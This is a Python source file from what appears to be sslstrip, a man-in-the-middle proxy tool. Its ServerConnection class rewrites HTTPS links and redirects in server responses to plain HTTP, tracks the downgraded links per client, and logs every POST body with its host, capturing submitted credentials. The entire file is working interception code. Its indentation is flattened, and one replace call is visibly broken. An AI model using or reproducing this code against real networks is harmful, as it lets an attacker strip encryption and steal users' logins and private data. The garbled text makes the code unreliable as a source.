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# Copyright (c) 2004-2009 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging, re, string, random, zlib, gzip, StringIO
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
class ServerConnection(HTTPClient):
''' The server connection is where we do the bulk of the stripping. Everything that
comes back is examined. The headers we dont like are removed, and the links are stripped
from HTTPS to HTTP.
'''
urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
urlType = re.compile(r"https://", re.IGNORECASE)
urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
def __init__(self, command, uri, postData, headers, client):
self.command = command
self.uri = uri
self.postData = postData
self.headers = headers
self.client = client
self.urlMonitor = URLMonitor.getInstance()
self.isImageRequest = False
self.isCompressed = False
self.contentLength = None
self.shutdownComplete = False
def getLogLevel(self):
return logging.DEBUG
def getPostPrefix(self):
return "POST"
def sendRequest(self):
logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri))
self.sendCommand(self.command, self.uri)
def sendHeaders(self):
for header, value in self.headers.items():
logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
self.sendHeader(header, value)
self.endHeaders()
def sendPostData(self):
logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
self.transport.write(self.postData)
def connectionMade(self):
logging.log(self.getLogLevel(), "HTTP connection made.")
self.sendRequest()
self.sendHeaders()
if (self.command == 'POST'):
self.sendPostData()
def handleStatus(self, version, code, message):
logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value):
logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))
if (key.lower() == 'location'):
value = self.replaceSecureLinks(value)
if (key.lower() == 'content-type'):
if (value.find('image') != -1):
self.isImageRequest = True
logging.debug("Response is image content, not scanning...")
if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1):
logging.debug("Response is compressed...")
self.isCompressed = True
elif (key.lower() == 'content-length'):
self.contentLength = value
elif (key.lower() == 'set-cookie'):
self.client.responseHeaders.addRawHeader(key, value)
else:
self.client.setHeader(key, value)
def handleEndHeaders(self):
if (self.isImageRequest and self.contentLength != None):
self.client.setHeader("Content-Length", self.contentLength)
if self.length == 0:
self.shutdown()
def handleResponsePart(self, data):
if (self.isImageRequest):
self.client.write(data)
else:
HTTPClient.handleResponsePart(self, data)
def handleResponseEnd(self):
if (self.isImageRequest):
self.shutdown()
else:
HTTPClient.handleResponseEnd(self)
def handleResponse(self, data):
if (self.isCompressed):
logging.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
logging.log(self.getLogLevel(), "Read from server:\n" + data)
data = self.replaceSecureLinks(data)
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))
self.client.write(data)
self.shutdown()
def replaceSecureLinks(self, data):
iterator = re.finditer(ServerConnection.urlExpression, data)
for match in iterator:
url = match.group()
logging.debug("Found secure reference: " + url)
url = url.replace('https://', 'http://', 1)
url = url.replace('&', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
return re.sub(ServerConnection.urlType, 'http://', data)
def shutdown(self):
if not self.shutdownComplete:
self.shutdownComplete = True
self.client.finish()
self.transport.loseConnection()